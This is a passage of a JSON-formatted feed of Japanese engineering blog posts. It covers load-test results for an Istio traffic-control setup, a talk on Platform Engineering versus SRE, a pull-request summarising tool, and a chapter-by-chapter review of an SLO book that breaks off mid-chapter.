\\"$status_codes\\" | while read count code; do if [ \\"$code\\" != \\"HTTPCode\\" ]; then percentage=$(echo \\"scale=2; $count / $TOTAL_REQUESTS * 100\\" | bc) printf \\"%s: %s (%.2f%%)\\\\n\\" \\"$code\\" \\"$count\\" \\"$percentage\\" bar=$(printf \'%0.s#\' $(seq 1 $(echo \\"$percentage/2\\" | bc))) printf \\" %s\\\\n\\" \\"$bar\\" fidonesuccess_rate=$(echo \\"scale=2; $total_success / $TOTAL_REQUESTS * 100\\" | bc)echo -e \\"\\\\n成功率(200 OKの割合): ${success_rate}%\\"echo -e \\"\\\\n応答時間統計:\\"awk -F\',\' \' NR>1 { sum+=$3; sumsq+=$3*$3; if(NR==2 || $3max) max=$3; } END { avg=sum/NR; std=sqrt(sumsq/NR - avg*avg); printf \\"最小: %.2f秒\\\\n\\", min; printf \\"最大: %.2f秒\\\\n\\", max; printf \\"平均: %.2f秒\\\\n\\", avg; printf \\"標準偏差: %.2f秒\\\\n\\", std; }\' \\"$RESULTS_DIR/results.csv\\"echo -e \\"\\\\n注: 詳細な結果は $RESULTS_DIR/results.csv に保存されています。\\"このスクリプトに実行権限を付与し、実行します。chmod +x load_test.sh./load_test.sh7. 結果の分析テストスクリプトの実行結果を分析しましょう。以下は典型的な結果の例です。All requests completed. Results saved in access_test_results/results.csv===============================テスト結果サマリー===============================総リクエスト数: 50同時接続数: 10HTTPステータスコード分布:503: 36 (72.00%) ####################################200: 14 (28.00%) ##############成功率(200 OKの割合): 28.00%応答時間統計:最小: 0.00秒最大: 5.00秒平均: 4.02秒標準偏差: 1.99秒注: 詳細な結果は access_test_results/results.csv に保存されています。結果の説明アクセス制限の効果: 72%のリクエストが503 (Service Unavailable) エラーを返しており、設定したアクセス制限が効果的に機能していることがわかります。遅延の導入: 平均応答時間が4.02秒、最大が5.00秒となっており、VirtualServiceで設定した5秒の遅延が適切に適用されていることが確認できます。成功率: 28%のリクエストのみが成功(200 OK)しており、トラフィック制御システムが効果的にリクエストを制限していることを示しています。応答時間のばらつき: 標準偏差が1.99秒と大きいことから、一部のリクエストは即座に処理され、他は遅延が適用されていることがわかります。これは、設定した80%のトラフィックへの遅延導入が機能していることを示しています。8. まとめこの記事では、Kubernetes上でトラフィック制御を実装し、スケーラブルな待機システムを構築する基礎部分を解説しました。Kindを使用したローカル開発環境の構築から、Istioによるトラフィック管理、負荷テストの実施までを紹介しました。この手法は、大規模イベントやセール時のトラフィック急増への対策として有効です。しかし、実際の運用では、継続的なモニタリングやビジネス側との調整に加え、本格的な仮想待合室システムの構築には、待ち行列管理やユーザーインターフェースの実装が不可欠になります。これらの要素については、次回の記事ではRedisやEnvoyFilterなどを活用した具体的な実装方法と合わせて詳しく解説していく予定です。お楽しみに!おやすみなさい\uD83D\uDE2A9. 参考リンクIstioトラフィック管理の概要Istioを使用したトラフィックシェーピングKubernetes: リソース管理Queue-It: 仮想待合室システムAzure: 負荷緩和パターンNGINX: トラフィック制御とキュー管理サーバーレスで仮想待合室を作ろう! / Serverless Virtual Waiting RoomGoで実装された高速な仮想待合室サーバの実装と詳解","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/10/120448","isoDate":"2024-07-10T03:04:48.000Z","dateMiliSeconds":1720580688000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"『Platform Engineering とSREの門』という間違ったみたいなタイトルで登壇しました。 #PEK2024","contentSnippet":"はじめにこんにちは。先日、Platform Engineering Kaigi 2024にて「Platform Engineering とSREの門」というタイトルで登壇させていただきました。www.cnia.ioPlatform EngineeringとSREは、多くのソフトウェアエンジニアにとっては馴染みのない分野かもしれません。私自身、最初はこれらを比較することに抵抗がありました。しかし、SNSで不毛に続くやり取りを見ていると本当に鬱陶しいと感じるようになりこの戦争を終わらせに来た!!!!みたいなノリで登壇し始めました。ここ数年の経験を通じて、Platform EngineeringとSREが目指す先は同じだということがわかっていました。システムの信頼性と開発生産性、効率性の向上という似たような目標に向かって、異なるアプローチで取り組んでいるのです。これらの分野の強みを理解し、比較することでより効果的でそれぞれの組織らしいシステム運用が可能になると考えました。具体と抽象作者:細谷 功dZERO(インプレス)Amazon今回のセッションでは、両分野の特徴と、それらを融合させることの意義について話させていただきました。メテオブラックドラゴン召喚です。アプローチや視点を変えることで得られる新たな知見や、より良いソリューションの可能性について共有できたと思います。多くの方から貴重なフィードバックをいただき、大変嬉しく思います。これらの意見は、モチベーションに繋がるのでありがたいです。なお、Platform EngineeringとSREを比較する登壇は今回で3回目となりました。今後は、特別な要望がない限り、この主題での自主的な登壇は控えさせていただこうと考えています。ただし、ご要望があれば喜んでお話しさせていただきますので、お気軽にお声がけください。登壇資料普通に笑いが起きるかなって思ってたんですけど大きくスベりました。 speakerdeck.com今回の発表では、予想と異なる反応があり、自分の考えと聴衆の期待にズレがあったことを実感しました。がこういった経験も、今後の改善につながる貴重なフィードバックだと捉えています。まず、登壇したことが偉いので、はい。参考資料今回のイベントを含め、Platform Engineering、SRE、開発生産性、プロダクトマネジメントに関する優れた資料が多数存在します。以下に、これらの分野について理解を深めるのに役立つ資料をリストアップしました。これらの資料は、理論的な基礎から実践的なアプローチまで幅広くカバーしており、各分野の最新トレンドや洞察を得るのに適しています。また、実際の現場での適用例や、組織設計、チーム構築に関する情報も含まれています。興味のある分野や、現在直面している課題に応じて、以下の資料を参照することをおすすめします。これらの知見は、より効果的なシステム運用や組織づくりに貢献するでしょう。O\'Reilly Japan – SRE サイトリライアビリティエンジニアリングO\'Reilly Japan – サイトリライアビリティワークブックO\'Reilly Japan – SREの探求Becoming SRESRE at Google: How to structure your SRE teamレトロスペクティブガイドWhat Is Platform Engineering?Top Strategic Technology Trends for 2023: Platform EngineeringMaking the Business Case for a Dedicated Platform Engineering TeamSRE NEXTPlatform Engineering MeetupチームトポロジーSLO サービスレベル目標Effective DevOpsオブザーバビリティ・エンジニアリングWebエンジニアのための監視システム実装ガイドマイクロサービスの現場からプラットフォームエンジニアリングの可能性を探る!CNCF Platforms White Paper道を照らす: プラットフォーム エンジニアリング、ゴールデンパス、セルフサービスのパワーPlatform Engineering on Kubernetes開発生産性について議論する前に知っておきたいことPlatform Engineering 101What is platform engineering?実践チームトポロジー: プラットフォーム性とイネイブリング性の戦略【資料公開】30分で分かった気になるチームトポロジーTeam dynamics: Five keys to building effective teamsThe History of DevOps Reports作りすぎない技術 - API時代の開発努力の在り方について考えるタクシーアプリ『GO』におけるプラットフォームエンジニアリングの実践The DevOps Handbook, 2nd EditionGrokking Continuous Deliveryこれらの資料を通じて、技術と組織の両面からシステム運用の改善について学ぶことができます。継続的な学習と実践を通じて、より良いエンジニアリング文化の構築に貢献できることを願っています。","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/09/215147","isoDate":"2024-07-09T12:51:47.000Z","dateMiliSeconds":1720529507000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Pull requestの概要の作成とコードの改善を提案するツールを作ってみた","contentSnippet":"1. はじめに はじめまして、Sreake事業部でインターンをしている村山です。 今回は、PR Guardianというツールの開発と検証をしました。PR GuardianはPull Requestの概要の作成、コードの改 […]The post Pull requestの概要の作成とコードの改善を提案するツールを作ってみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pr-guardian/","isoDate":"2024-07-09T11:10:06.000Z","dateMiliSeconds":1720523406000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Platform Engineering と SRE の門 ","contentSnippet":"Platform Engineering とSREの門 というタイトルで登壇しました。入門のタイポではありません。\\r\\rイベント名: Platform Engineering Kaigi 2024\\rイベントURL:https://www.cnia.io/pek2024/\\r\\r登壇ブログ:『Platform Engineering とSREの門』という間違ったみたいなタイトルで登壇しました。 #PEK2024\\rhttps://syu-m-5151.hatenablog.com/entry/2024/07/09/215147","link":"https://speakerdeck.com/nwiizo/platform-engineering-to-sre-nomen","isoDate":"2024-07-09T04:00:00.000Z","dateMiliSeconds":1720497600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"AWS SNSでエラー通知させ、SLOについて考える","contentSnippet":"以下、登壇資料。\\rJAWS-UG SRE支部 #9 初心者LT大会\\rhttps://jawsug-sre.connpass.com/event/321380/","link":"https://speakerdeck.com/melanmeg/aws-snsdeeratong-zhi-sase-slonituitekao-eru","isoDate":"2024-07-08T04:00:00.000Z","dateMiliSeconds":1720411200000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"数字に振り回されず完璧を目指さない為に - Implementing Service Level Objectives の読書感想文","contentSnippet":"信頼性の追求というのは、決して完璧を求めることではありません。完璧な可用性を追求するのではなく、ユーザーの満足と、限りあるリソースのバランスを取ることこそが重要です。このバランスを取るための一つのツールが、SLO(Service Level Objectives)です。はじめに「Implementing Service Level Objectives」は、現代のソフトウェアサービス管理において不可欠な概念の一つであるSLO(Service Level Objectives)の実装と運用に関する包括的なガイドブックです。本書は、SLOの基本概念から実践的な導入方法、組織文化への浸透まで、幅広いトピックをカバーしています。このSRE本がすごい!2024年版でも紹介しているようにSREやインフラエンジニアの方が必読の一冊だと思います。Implementing Service Level Objectives: A Practical Guide to SLIs, SLOs, and Error Budgets (English Edition)作者:Hidalgo, AlexO\'Reilly MediaAmazonSREとして、この本を読み進める中で、SLOが単なる技術的な指標ではなく、ユーザー体験とビジネス目標を結びつける強力なツールであることを再認識しました。まるでテクノロジーとビジネスの間の橋渡しをする書籍です。本書は、従来の信頼性管理手法の限界を指摘し、SLOベースのアプローチがいかにそれらの問題を解決し、より効果的なシステム運用を可能にするかを詳細に解説しています。経験ももちろん大事ですが、読書を通じて得られる知識や洞察も、実践的な経験に匹敵する価値があると考えています。読書は一種の間接的な経験であり、同時に、私たちの実際の経験も、本を読むように解釈し学ぶことができます。つまり、読書は一種の経験であり、経験はまた一種の読書であると言えるでしょう。この相互作用的な学びのプロセスを通じて、SREとしての知識と実践をより深く、より豊かなものにできると信じています。特に、本書が技術的な側面だけでなく、組織文化や人間的な側面にも大きな注意を払っている点が印象的でした。SLOの導入は、単なるツールの導入ではなく、組織全体の思考方法と行動様式を変革する大きなチャレンジであることが強調されています。まるで組織全体で体質改善に挑戦するようなものですね。痛みを伴うかもしれませんが、結果は素晴らしいはずです!SLOに関しては国内外で素晴らしい発表がいくつかあるので、合わせて紹介していきたいと思います。www.nobl9.com本感想文では、SLOの基本概念を簡単に紹介した後、本書の主要な部分を3つのパートに分けて振り返ります。各パートから得られた重要な洞察と教訓、そしてそれらを実践に移すための具体的なアプローチについて考察していきます。日本語版も出版されているので、ぜひ原書と合わせて読んでみてください。ちなみにいくつか国内でイベントも開催されていたので、こちらも要チェックです。www.youtube.com私は翻訳の経験もありますが、この本の日本語訳は秀逸だと感じました。きっと、英語版を読んだ時の「あれ? これ何言ってるんだろう」というモヤモヤが一掃されるはずです!SLO サービスレベル目標 ―SLI、SLO、エラーバジェット導入の実践ガイド作者:Alex Hidalgoオーム社Amazonなお、この読書感想文はあくまで私個人の読書体験に基づくものであり、本書の内容を常に正確に解釈できているとは限りません。人間は自身の認知フレームワークと経験を通してのみ物事を理解し解釈するものです。そのため、ここでの考察や解釈には、私自身の背景や経験、勘違いや思い違いが反映されている可能性があります。読者の皆様には、この点をご理解いただき、本書を直接お読みになることをお勧めいたします。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonまた、本ブログのレビューにおいて、abnoumaru さんから多大なご貢献をいただきました。abnoumaru さんの専門知識と綿密なレビューのおかげで、ブログの品質と正確性が大幅に向上しました。この場を借りて、abnoumaru さんのご尽力に心から感謝申し上げます。はじめにPart I. SLO DevelopmentChapter 1. The Reliability StackChapter 2. How to Think About ReliabilityChapter 3. Developing Meaningful Service Level IndicatorsChapter 4. Choosing Good Service Level ObjectivesChapter 5. How to Use Error BudgetsPart II. SLO ImplementationChapter 6. Getting Buy-InChapter 7. Measuring SLIs and SLOsChapter 8. SLO Monitoring and AlertingChapter 9. Probability and Statistics for SLIs and SLOsChapter 10. Architecting for ReliabilityChapter 11. Data ReliabilityChapter 12. A Worked ExamplePart III. SLO CultureChapter 13. Building an SLO CultureChapter 14. SLO EvolutionChapter 15. Discoverable and Understandable SLOsChapter 16. SLO AdvocacyChapter 17. Reliability ReportingおわりにPart I. SLO DevelopmentPart Iでは、SLOの基本概念と開発方法について詳細に解説されています。個人的に好きだったのは、Reliability Stackの概念です。SLI(Service Level Indicators)、SLO、Error Budgetという3つの要素が階層構造を成し、サービスの信頼性を包括的に管理するためのフレームワークを提供しています。著者は、「完璧な信頼性を目指すことは現実的ではなく、むしろユーザーが満足する程度の信頼性を目標とすべき」という考え方を提唱しています。この現実的なアプローチは、リソースの効率的な配分とユーザー満足度のバランスを取る上で重要です。技術的な観点からは、SLIの選定とSLOの設定方法に関する具体的なガイダンスが有用でした。特に、パーセンタイルベースのSLO設定や、依存関係を持つサービスのSLO計算方法など、実践的な知見が多く含まれています。この部分から学んだ最も重要な教訓は、SLOの開発が単なる数値目標の設定ではなく、ユーザーのニーズ、技術的な制約、ビジネス目標のバランスを取る複雑なプロセスであるということです。SREとして、この視点を常に念頭に置きながら、より効果的なSLOの設計と運用を目指していく必要があります。Chapter 1. The Reliability Stack第1章「The Reliability Stack」は、現代のソフトウェアサービスにおける信頼性の重要性と、それを測定・管理するためのフレームワークを提示しています。本章は、Service Level Indicators (SLIs)、Service Level Objectives (SLOs)、そしてError Budgetsという3つの主要概念を中心に構成されており、これらが「Reliability Stack」を形成しています。各用語についてはSRE本のService Level ObjectivesやThe Art of SLOsが良いのでおすすめです。cloud.google.comまず、本書では現代のソフトウェア環境が複雑化し、分散化していることを指摘しています。「We live in a world of services.」という冒頭の一文は、この現状を端的に表現しています。Software as a Service (SaaS)、Infrastructure as a Service (IaaS)、さらにはマイクロサービスアーキテクチャの普及により、サービスの定義自体が曖昧になっているという指摘は、多くのソフトウェアエンジニアが日々直面している課題を的確に捉えています。www.youtube.com本書では、複雑化する環境下でサービスの信頼性を確保するには、従来のログやスタックトレースだけでは不十分であり、新しいアプローチが必要だと主張しています。ここで提案されているのが、ユーザーの視点に立った信頼性の測定と管理です。「\\"Is my service reliable?\\"という質問は、\\"Is my service doing what its users need it to do?\\"という質問とほぼ同義である」というフレーズは、信頼性の本質を端的に表現していると思います。 LuupにおけるSLOの物語などは良く資料としてできているので確認してもらいたいです。 speakerdeck.comまた、Observability EngineeringのChapter 12. Using Service-Level Objectives for ReliabilityやChapter 13. Acting on and Debugging SLO-Based AlertsでSLOについて触れているので、これらも一読する価値があるでしょう。なお、Practical MonitoringとObservability Engineeringの2冊を読む前にこの本を読むことは、あまりオススメできません。syu-m-5151.hatenablog.comReliability Stackの基礎となるService Level Indicators (SLIs)は、ユーザーの視点からサービスのパフォーマンスを測定する指標です。本書では、単純な可用性やエラーレートではなく、ユーザーの実際の体験に基づいた指標を選ぶべきだと強調しています。例えば、ウェブページの読み込み時間が2秒以内であれば「良好」、それ以上であれば「不良」とするような具体的な例は、SLIの概念を理解する上で有用です。Figure 1-1. The basic building blocks of the Reliability Stack より引用Figure 1.1で示されているReliability Stackの図は、SLI、SLO、Error Budgetの関係性を視覚的に表現しており、これらの概念の階層構造を理解する上で役立ちます。Service Level Objectives (SLOs)は、SLIに基づいて設定される目標値です。本書では、完璧な信頼性を目指すことは現実的ではなく、むしろ「ユーザーが満足する程度の信頼性」を目標とすべきだと主張しています。この考え方は、リソースの効率的な配分と、ユーザー満足度のバランスを取る上で重要です。SREとして、この視点は特に共感できる部分でした。Figure 1-3. A very basic representation of how you can use error budgets to drive decisions より引用Error Budgetは、SLOからの逸脱を許容する範囲を定義するものです。本書では、Error Budgetを「どの程度サービスが失敗しても許容されるか」を表す指標として説明しています。Figure 1.3で示されているError Budgetの使用方法は、新機能のデプロイや実験的な取り組みと、信頼性向上のための作業のバランスを取る上で有用なフレームワークを提供しています。本書では、様々なタイプのサービス(ウェブサービス、APIサービス、データ処理パイプライン、バッチジョブ、データベース、コンピューティングプラットフォーム、ハードウェア・ネットワーク)について言及し、それぞれのサービスタイプに適したSLIとSLOの設定方法を概説しています。これは、Reliability Stackの概念が幅広いサービスに適用可能であることを示しており、実務上有用な情報です。特に、本書がSLOアプローチの導入に関して注意点を挙げている部分です。「SLOs Are Just Data」、「SLOs Are a Process, Not a Project」、「Iterate Over Everything」、「The World Will Change」、「It\'s All About Humans」という5つのポイントは、SLOベースのアプローチを実践する上で常に心に留めておくべき重要な指針だと感じました。特に、SLOを単なるプロジェクトではなく、継続的なプロセスとして捉える視点は、多くの組織がSLO導入に失敗する原因を的確に指摘していると思います。技術的な観点からは、本書がSLIの測定方法やError Budgetの計算方法について詳細に説明している点が参考になりました。例えば、Error Budgetの計算にイベントベースのアプローチと時間ベースのアプローチがあることの説明は、実際にError Budgetを実装する際の具体的な指針となります。また、本書がService Level Agreement (SLA)とSLOの違いを明確に説明している点も重要です。SLAが契約上の約束であるのに対し、SLOは内部的な目標であるという区別は、多くの組織でしばしば混同されがちな概念を整理する上で有用です。本章から得られる重要な教訓は、信頼性の管理がサービスの運用において最も重要な要素の一つであり、それをユーザーの視点から測定し、管理することの重要性です。Reliability Stackの概念は、複雑化するサービス環境において、信頼性を体系的に管理するための強力なフレームワークを提供しています。同時、本書では技術的な側面だけでなく、人間的な側面も強調しています。「Service level objectives are ultimately about happier users, happier engineers, happier product teams, and a happier business.」というフレーズは、SLOアプローチの最終的な目標を端的に表現しており、技術と人間のバランスを取ることの重要性を示唆しています。SREとして、この章から学べる重要な点は、信頼性の管理が単なる技術的な問題ではなく、ユーザー、エンジニア、ビジネス全体を考慮した総合的なアプローチが必要だということです。SLI、SLO、Error Budgetの概念は、この複雑な問題に対する体系的なアプローチを提供してくれます。また、本書が強調しているある種の「完璧を目指さない」という姿勢は、リソースの効率的な配分と、継続的な改善のバランスを取る上で重要です。100%の信頼性を目指すのではなく、ユーザーのニーズを満たす程度の信頼性を目指すという考え方は、現実的かつ効果的なアプローチだと感じました。さらに、本書がSLOアプローチを単なるデータ収集や目標設定ではなく、継続的なプロセスとして捉えている点も重要です。SLOの設定や調整を通じて、組織全体が信頼性について継続的に考え、議論する文化を醸成することの重要性が強調されています。技術的な観点からは、SLIの選定やError Budgetの計算方法など、具体的な実装に関する情報が提供されています。これらの情報は、実際にReliability Stackを導入する際の実践的なガイドラインとなります。特に、異なるタイプのサービスに対するSLIの例は、多様なサービス環境に対応する上で有用です。本章を読んで、私はReliability Stackの概念が現代のソフトウェサービス管理において重要であると再認識しました。同時に、この概念を効果的に導入するためには、技術的な実装だけでなく、組織文化の変革も必要であることを強く感じました。SLOアプローチは、技術チームとビジネスチームの橋渡しとなり、サービスの信頼性に関する共通言語を提供する可能性を秘めています。最後に、本書が強調している「イテレーション」の重要性は、印象に残りました。サービスの環境や要件は常に変化しており、それに応じてSLI、SLO、Error Budgetも継続的に見直し、調整していく必要があります。この柔軟性と継続的改善の姿勢は、急速に変化するテクノロジー環境において重要です。総括すると、本章はReliability Stackという概念を通じて、現代のソフトウェアサービスにおける信頼性管理の新しいパラダイムを提示しています。ユーザー中心の視点、データ駆動の意思決定、継続的な改善プロセス、そして技術と人間のバランスを重視するこのアプローチは、複雑化するサービス環境において有効だと感じました。SREとして、この概念を自身の業務に取り入れ、さらに組織全体に浸透させていくことで、より信頼性の高いサービス提供につながると確信しています。Chapter 2. How to Think About Reliability第2章「How to Think About Reliability」は、信頼性という概念に対する深い洞察を提供しています。本書では、技術業界で頻繁に誤解されている信頼性の本質を明らかにし、読者に新たな視点を提示しています。地に足をつけて生きろ! 加速文化の重圧に対抗する7つの方法作者:スヴェン・ブリンクマンEvolvingAmazon章の冒頭で、本書では技術業界における用語の乱用について警鐘を鳴らしています。\\"DevOps\\"や\\"Site Reliability Engineering\\"といった用語本来の意味を失い、単なるマーケティング用語や職種名として使われている現状を指摘しています。これは、SREとしての経験を持つ私にとって共感できる点でした。現場がさき、 プラクティスがあと、 原則はだいじにという言葉が好きなのですが技術用語の本質を理解せずに使用することで、言葉はすりきれる。その概念の重要性や意味が薄れてしまうのは、実にもったいない。本書では、信頼性がしばしば可用性と同一視されることを問題視し、\\"Reliability has far too often come to mean only availability in the tech world.\\"という一文でこの誤解を端的に表現していますが、SREとして信頼性向上に取り組む中で可用性以外にも多くの要素が関係していることを実感しており、信頼性に対する固定的な答えはないため、実際の現場でデータを収集・分析し、各システムや状況に応じて信頼性を満たすために何が必要かを議論することが重要です。ちょっと過激な表現ですが意味ある可用性を求める運動だと言えると思ってます。本書が提示する信頼性の定義、\\"a system is doing what its users need it to do\\"は、シンプルでありながら本質を突いています。この定義は、技術的な指標だけでなく、ユーザーの視点を中心に置くことの重要性を強調しています。SREとして、この視点は重要です。私たちは往々にして技術的な指標にとらわれがちですが、最終的にはユーザーの満足度こそ最も重要な指標であることを忘れてはいけません。章の中盤で、過去のパフォーマンスとユーザーの期待について興味深い考察を展開しています。\\"Past performance predicts future performance.\\"という一文は、ユーザーの期待がどのように形成されるかを端的に表現しています。これは、SLOを設定する際に考慮すべき重要な要素です。過去のパフォーマンスが暗黙の約束となっているという指摘は、SREとして特に注意を払うべき点だと感じました。本書が提示する映画ストリーミングサービスの例は、信頼性の複雑さを理解する上で有効でした。単に動画が再生されるだけでなく、適切な速度でのバッファリング、正しい動画の配信、適切な画質、音声と映像の同期、字幕の正確さなど、多岐にわたる要素が信頼性を構成していることが分かります。この例は、SREとしてシステムの信頼性を考える際に、多角的な視点を持つことの重要性を再認識させてくれます。本書の\\"100% is impossible\\"という主張は、重要な点です。完璧を目指すことで、却って資源の無駄遣いや人的負担の増加を招く可能性があることを指摘しています。これは、SREとして常に心に留めておくべき教訓です。信頼性と効率性のバランスを取ることの重要性を再認識させられました。反脆弱性[上]――不確実な世界を生き延びる唯一の考え方作者:ナシーム・ニコラス・タレブダイヤモンド社Amazon本書では、信頼性の向上にかかるコストについても詳細に説明しています。99.9%から99.95%への信頼性の向上と、99.95%から99.99%への向上では、後者の方が5倍のコストがかかるという具体的な例は、印象的でした。この数学的な裏付けは、信頼性目標を設定する際の重要な判断材料となります。最後に本書では、信頼性に対する考え方について総括しています。\\"Be as reliable as your users need you to be.\\"という一文は、信頼性に対するアプローチの本質を表現しています。しかし、本書ではこの単純な答えに留まらず、ユーザーのニーズが時間とともに変化することや、上流のサービスの信頼性に依存する部分があることなど、より複雑な要因についても言及しています。この章から得られる重要な教訓は、信頼性は単純な数値目標ではなく、ユーザーのニーズと企業のリソースのバランスを取るための継続的なプロセスであるということです。SREとして、この視点は重要です。ユーザーの期待、技術的な制約、コストなど、様々な要因を考慮しながら、最適な信頼性レベルを追求し続けることが求められています。技術的な観点からは、本書が提示する信頼性の数学的な考察が非常興味深いものでした。特に、99.99%の信頼性を達成するために必要な対応時間や、信頼性向上にかかるコストの非線形性など、具体的な数値を用いた説明は、SREとして信頼性目標を設定する際の重要な指針となります。また、本書が強調している\\"black swan event\\"への対応の重要性も、SREとして心に留めておくべき点です。予測不可能な大規模障害に対しては、通常のSLOやエラーバジェットの考え方を一時的に保留し、柔軟に対応することの重要性を再認識しました。この章を読んで、信頼性の向上は単にシステムの可用性を高めることではなく、ユーザーのニーズを深く理解し、それに応えるためのバランスの取れたアプローチを追求することだと再認識しました。また、技術チームだけでなく、製品チーム、経営陣との密接な連携の重要性も強く感じました。特に印象に残ったのは、本書が繰り返し強調している「ユーザー視点」の重要性です。SREとして、私たちは往々にして技術的な指標にとらわれがちですが、最終的にはユーザーの満足度こそが最も重要な指標であることを忘れてはいけません。この視点は、SLOの設定や、障害対応の優先順位付けなど、日々の業務の様々な場面で活かせると感じました。また、本書が提示する「信頼性のコスト」についての考察は、SREとしての意思決定に大きな影響を与えるものだと感じました。完璧な信頼性を目指すのではなく、ユーザーのニーズと企業のリソースのバランスを取ることの重要性を、数学的な裏付けとともに理解できたことは有意義でした。この章から学んだことを実践に移す上で、以下のような体的なアクションを考えています:SLOの設定時に、技術的な指標だけでなく、ユーザーの実際の使用体験を反映した指標を取り入れる。信頼性目標の設定時に、その目標達成にかかるコストと得られる便益を定量的に評価する。チーム内で定期的に「ユーザーにとっての信頼性」について議論する場を設ける。上流サービスの信頼性も考慮に入れた、より現実的なSLOを設定する。予期せぬ大規模障害に対応するための柔軟な計画を立てる。総括すると、この章は信頼性に対する新たな視点を提供し、SREとしての私たちの役割を再定義するものでした。信頼性は単なる技術的な問題ではなく、ユーザーのニーズ、ビジネスの要求、技術的な制約のバランスを取るための継続的なプロセスであることを強く認識させられました。この視点を持ちつ、日々の業務に取り組むことで、より効果的なSREとしての貢献ができると確信しています。Chapter 3. Developing Meaningful Service Level Indicators第3章「Developing Meaningful Service Level Indicators」は、SLO(Service Level Objectives)ベースのアプローチにおける最も重要な要素であるSLI(Service Level Indicators)の開発に焦点を当てています。本書では、SLIの重要性を強調し、その開発方法について詳細に説明しています。 speakerdeck.com章の冒頭で、本書では「SLIs are the most vital part of this entire process and system.」と述べ、SLIがReliability Stackの基礎であることを強調しています。この言葉は、SREとしての私の経験と深く共鳴しました。システムの信頼性を向上させるためには、まず適切な指標を設定することが不可欠であり、それがSLIの役割だと理解しています。本書では、SLIの重要性を説明する中で、「Your service isn\'t reliable if your users don\'t think it is.」という一文を用いています。この視点は、技術的な指標だけでなく、ユーザーの認識を重視することの重要性を示唆しており、SREとしての私の考え方に大きな影響を与えました。章の中盤では、SLIの開発方法について具体的な例を用いて説明しています。本書では、単純なリクエスト・レスポンスAPIから始めて、より複雑な小売ウェブサイトのアーキテクチャまで、様々なレベルのサービスについてSLIの開発方法を示しています。Figure 3-1. A basic and oversimplified retail website architecture より引用Figure 3.1では、簡略化された小売ウェブサイトのアーキテクチャが示されており、複雑なシステムにおけるSLIの開発の難しさを視覚的に理解することができます。この図は、SLIを開発する際に考慮すべき様々なコンポーネントとその相互作用を明確に示しており、有用でした。本書では、複雑なシステムにおけるSLIの開発について、「Measuring many things by measuring only a few」というアプローチを提案しています。これは、ユーザーの視点から最も重要な指標を選び出し、それを測定することで、システム全体の信頼性を効果的に評価できるという考え方です。この考え方は、SREとして複雑なシステムの監視を行う際に有用だと感じました。技術的な観点から特に興味深かったのは、SLIの測定方法に関する説明です。本書では、エラ率や応答時間などの基本的な指標から始めて、より複雑なユーザージャーニーの測定まで、段階的にアプローチを深めていきます。例えば、ログイン機能のSLIを開発する際に、単に認証サービスのエラー率を見るだけでなく、ロードバランサーからユーザーのブラウザでの表示まで、エンドツーエンドの流れを考慮する必要があるという指摘は、重要だと感じました。ユーザージャーニーやカスタマージャーニーとは何か知りたい方はこの書籍がオススメです。理想的なカスタマージャーニーの設計原則 DIAMOND ハーバード・ビジネス・レビュー論文作者:アヒール・ゴパルダス,アントン・シーベルトダイヤモンド社Amazon本書では、SLIの記述方法についても言及しています。「The 95th percentile of requests to our service will be responded to with the correct data within 400 ms.」という例は、技術的な詳細を含みながらも、非技術者にも理解しやすい形で表現されています。これは、SREとして他部署とコミュケーションを取る際に参考になる表現方法だと感じました。また、本書ではSLIの開発がビジネスアラインメントにも寄与することを指摘しています。SLIは、プロダクトマネージャーの「ユーザージャーニー」、ビジネス部門の「KPI」、QAチームの「インタフェーステスト」と本質的に同じものを指している場合が多いという指摘は、興味深いものでした。これは、SREが組織全体のアラインメントを促進する上で重要な役割を果たせることを示唆しています。はじめてのカスタマージャーニーマップワークショップ(MarkeZine BOOKS) 「顧客視点」で考えるビジネスの課題と可能性作者:加藤 希尊翔泳社Amazon章の結論部分で本書では、SLIの開発が必ずしも容易ではないことを認めつつも、その重要性を強調しています。「Thinking about your users first is never a bad idea.」という言葉は、SLIの開発だけでなく、SREの仕事全般に通じる重要な指針だと感じました。この章から得られる重な教訓は、SLIの開発がSLOベースのアプローチの基礎であり、ユーザーの視点を中心に置くことの重要性です。技術的な指標に偏りがちな私たちSREにとって、この視点は重要です。また、複雑なシステムにおいても、少数の重要な指標を適切に選択することで、全体の信頼性を効果的に測定できるという点も、実践的で有用な知見だと感じました。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます。現在のモニタリング指標を見直し、それらがユーザーの視点をどの程度反映しているかを評価する。各サービスについて、ユーザージャーニーを詳細にマッピングし、そこから重要なSLIを抽出する。エンドツーエンドの測定を可能にするためのインフラストラクチャ(例:分散トレーシングシステム)の導入を検討する。SLIの定義と測定方法について、プロダクト、ビジネス、QAなど他部門と議論し、組織全体でのアラインメントを図る。SLIの定義を定期的に見直し、ユーザーのニーズや期待の変化に合わせて更新する。技術的な観点からは、SLIの測定に関する本書の提案は有用でした。特に、複雑なシステムにおいてエンドツーエンドの測定を行うことの重要性は、私たちのモニタリング戦略を再考する良いきっかけになると感じました。例えば、現在の個別のコンポーネントレベルのモニタリングに加えて、ユーザーの実際の体験をシミュレートするシンセティックモニタリングの導入を検討する価値があるでしょう。また、本書が提案する「多くのことを少数の指標で測定する」アプローチは、モニタリングシステムの設計にも大きな影響を与えると考えられます。現在のように多数の指標を個別に監視するのではなく、ユーザー体験に直結する少数の重要な指標に焦点を当てたダッシボードやアラートシステムの設計が必要になるでしょう。さらに、SLIの定義を「簡単に説明できる文章」で表現するという提案は、技術チームと非技術チームのコミュニケーションを改善する上で重要だと感じました。これは、インシデント対応時の状況説明や、経営陣への報告の際にも役立つアプローチだと考えられます。この章を読んで、単にシステムの技術的な側面を監視し、問題に対処するだけでなく、ユーザー体験の向上に直接寄与する指標を設計し、それに基づいてシステムの信頼性を向上させていくことが、私たちの重要な責務であことを再認識しました。また、SLIの開発が組織全体のアラインメントにつながるという指摘は、SREの役割がより戦略的になる可能性を示唆しています。技術部門と事業部門の橋渡し役として、SREがビジネス目標の達成に直接貢献できる可能性があることを感じました。総括すると、この章はSLIの開発というテクニカルな話題を通じ